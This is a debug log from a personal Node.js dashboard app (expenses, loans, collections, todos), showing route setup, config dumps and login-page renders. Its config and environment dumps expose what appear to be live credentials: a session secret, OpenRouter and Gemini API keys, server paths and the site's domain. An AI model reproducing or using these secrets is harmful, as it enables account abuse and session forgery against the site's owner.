2026-07-24T10:06:51.596Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T10:06:51.597Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T10:06:51.597Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T10:06:51.597Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T10:06:51.598Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T10:06:51.598Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T10:06:51.598Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T10:06:51.599Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T10:06:51.599Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T10:06:51.600Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T10:06:51.600Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T10:06:51.601Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T10:06:51.601Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T10:06:51.602Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T10:06:51.602Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T10:06:51.602Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T10:06:51.603Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T10:06:51.603Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T10:06:51.603Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T10:06:51.603Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T10:06:51.603Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T10:06:51.604Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T10:06:51.604Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T10:06:51.604Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T10:06:51.604Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T10:07:35.766Z server-connect:router Serving templateView /
2026-07-24T10:07:35.771Z server-connect:app Executing action step identify
2026-07-24T10:07:35.771Z server-connect:app options: { provider: 'security' }
2026-07-24T10:07:35.774Z server-connect:auth No login cookie found
2026-07-24T10:07:35.774Z server-connect:output identity: false
2026-07-24T10:07:35.774Z server-connect:app Executing action step restrict
2026-07-24T10:07:35.774Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T10:07:35.776Z server-connect:output restrict: undefined
2026-07-24T10:07:40.498Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T10:07:40.838Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T10:07:40.940Z server-connect:setup:upload Upload middleware configured.
2026-07-24T10:07:40.940Z server-connect:secure CSRF Protection initialized
2026-07-24T10:07:40.943Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T10:07:40.943Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T10:07:40.944Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T10:07:40.944Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T10:07:40.945Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T10:07:40.947Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T10:07:40.948Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T10:07:40.949Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T10:07:40.949Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T10:07:40.950Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T10:07:40.950Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T10:07:40.951Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T10:07:40.951Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T10:07:40.977Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T10:07:40.981Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T10:07:40.982Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T10:07:40.982Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T10:07:40.983Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T10:07:40.984Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T10:07:40.984Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T10:07:40.985Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T10:07:40.985Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T10:07:40.986Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T10:07:40.986Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T10:07:40.986Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T10:07:40.987Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T10:07:40.987Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T10:07:40.987Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T10:07:40.988Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T10:07:40.988Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T10:07:40.988Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T10:07:40.988Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T10:07:40.989Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T10:07:40.989Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T10:07:40.989Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T10:07:40.989Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T10:07:40.990Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T10:07:40.990Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T10:07:41.109Z server-connect:router Serving templateView /login
2026-07-24T10:07:41.114Z server-connect:app Executing action step identify
2026-07-24T10:07:41.114Z server-connect:app options: { provider: 'security' }
2026-07-24T10:07:41.116Z server-connect:auth No login cookie found
2026-07-24T10:07:41.116Z server-connect:output identity: false
2026-07-24T10:07:41.116Z server-connect:router Render template layouts/authentication
2026-07-24T10:07:41.117Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T10:07:41.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T10:07:44.525Z server-connect:router Serving templateView /login/
2026-07-24T10:07:44.526Z server-connect:app Executing action step identify
2026-07-24T10:07:44.526Z server-connect:app options: { provider: 'security' }
2026-07-24T10:07:44.526Z server-connect:auth No login cookie found
2026-07-24T10:07:44.526Z server-connect:output identity: false
2026-07-24T10:07:44.526Z server-connect:router Render template layouts/authentication
2026-07-24T10:07:44.526Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T10:07:44.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T11:49:31.663Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T11:49:33.934Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T11:49:34.798Z server-connect:setup:upload Upload middleware configured.
2026-07-24T11:49:34.798Z server-connect:secure CSRF Protection initialized
2026-07-24T11:49:34.802Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T11:49:34.804Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T11:49:34.806Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T11:49:34.808Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T11:49:34.814Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T11:49:34.818Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T11:49:34.833Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T11:49:34.847Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T11:49:34.852Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T11:49:34.852Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T11:49:34.853Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T11:49:34.857Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T11:49:34.863Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T11:49:34.872Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T11:49:34.877Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T11:49:34.884Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T11:49:34.887Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T11:49:34.891Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T11:49:34.896Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T11:49:34.900Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T11:49:34.902Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T11:49:34.910Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T11:49:34.912Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T11:49:34.920Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T11:49:34.921Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T11:49:34.925Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T11:49:34.928Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T11:49:34.928Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T11:49:34.936Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T11:49:34.936Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T11:49:34.940Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T11:49:34.940Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T11:49:34.945Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T11:49:34.948Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T11:49:34.954Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T11:49:34.958Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T11:49:34.958Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T11:49:34.969Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T11:49:35.460Z server-connect:router Serving templateView /
2026-07-24T11:49:35.505Z server-connect:app Executing action step identify
2026-07-24T11:49:35.505Z server-connect:app options: { provider: 'security' }
2026-07-24T11:49:35.516Z server-connect:auth No login cookie found
2026-07-24T11:49:35.516Z server-connect:output identity: false
2026-07-24T11:49:35.516Z server-connect:app Executing action step restrict
2026-07-24T11:49:35.516Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T11:49:35.520Z server-connect:output restrict: undefined
2026-07-24T13:52:06.148Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T13:52:08.417Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T13:52:09.279Z server-connect:setup:upload Upload middleware configured.
2026-07-24T13:52:09.280Z server-connect:secure CSRF Protection initialized
2026-07-24T13:52:09.284Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T13:52:09.285Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T13:52:09.287Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T13:52:09.290Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T13:52:09.295Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T13:52:09.299Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T13:52:09.315Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T13:52:09.330Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T13:52:09.337Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T13:52:09.337Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T13:52:09.338Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T13:52:09.340Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T13:52:09.346Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T13:52:09.356Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T13:52:09.361Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T13:52:09.433Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T13:52:09.433Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T13:52:09.439Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T13:52:09.444Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T13:52:09.449Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T13:52:09.449Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T13:52:09.458Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T13:52:09.459Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T13:52:09.466Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T13:52:09.467Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T13:52:09.470Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T13:52:09.474Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T13:52:09.475Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T13:52:09.482Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T13:52:09.483Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T13:52:09.485Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T13:52:09.488Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T13:52:09.492Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T13:52:09.492Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T13:52:09.498Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T13:52:09.502Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T13:52:09.504Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T13:52:09.513Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T13:53:03.217Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T13:53:03.827Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T13:53:04.047Z server-connect:setup:upload Upload middleware configured.
2026-07-24T13:53:04.047Z server-connect:secure CSRF Protection initialized
2026-07-24T13:53:04.051Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T13:53:04.052Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T13:53:04.052Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T13:53:04.053Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T13:53:04.054Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T13:53:04.055Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T13:53:04.076Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T13:53:04.078Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T13:53:04.082Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T13:53:04.083Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T13:53:04.083Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T13:53:04.084Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T13:53:04.084Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T13:53:04.085Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T13:53:04.086Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T13:53:04.086Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T13:53:04.087Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T13:53:04.087Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T13:53:04.088Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T13:53:04.089Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T13:53:04.089Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T13:53:04.090Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T13:53:04.090Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T13:53:04.091Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T13:53:04.091Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T13:53:04.092Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T13:53:04.092Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T13:53:04.093Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T13:53:04.093Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T13:53:04.093Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T13:53:04.094Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T13:53:04.094Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T13:53:04.094Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T13:53:04.095Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T13:53:04.095Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T13:53:04.096Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T13:53:04.096Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T13:53:04.096Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T13:53:11.826Z server-connect:router Serving templateView /
2026-07-24T13:53:11.830Z server-connect:app Executing action step identify
2026-07-24T13:53:11.830Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:11.834Z server-connect:auth No login cookie found
2026-07-24T13:53:11.835Z server-connect:output identity: false
2026-07-24T13:53:11.835Z server-connect:app Executing action step restrict
2026-07-24T13:53:11.835Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T13:53:11.837Z server-connect:output restrict: undefined
2026-07-24T13:53:15.933Z server-connect:router Serving templateView /
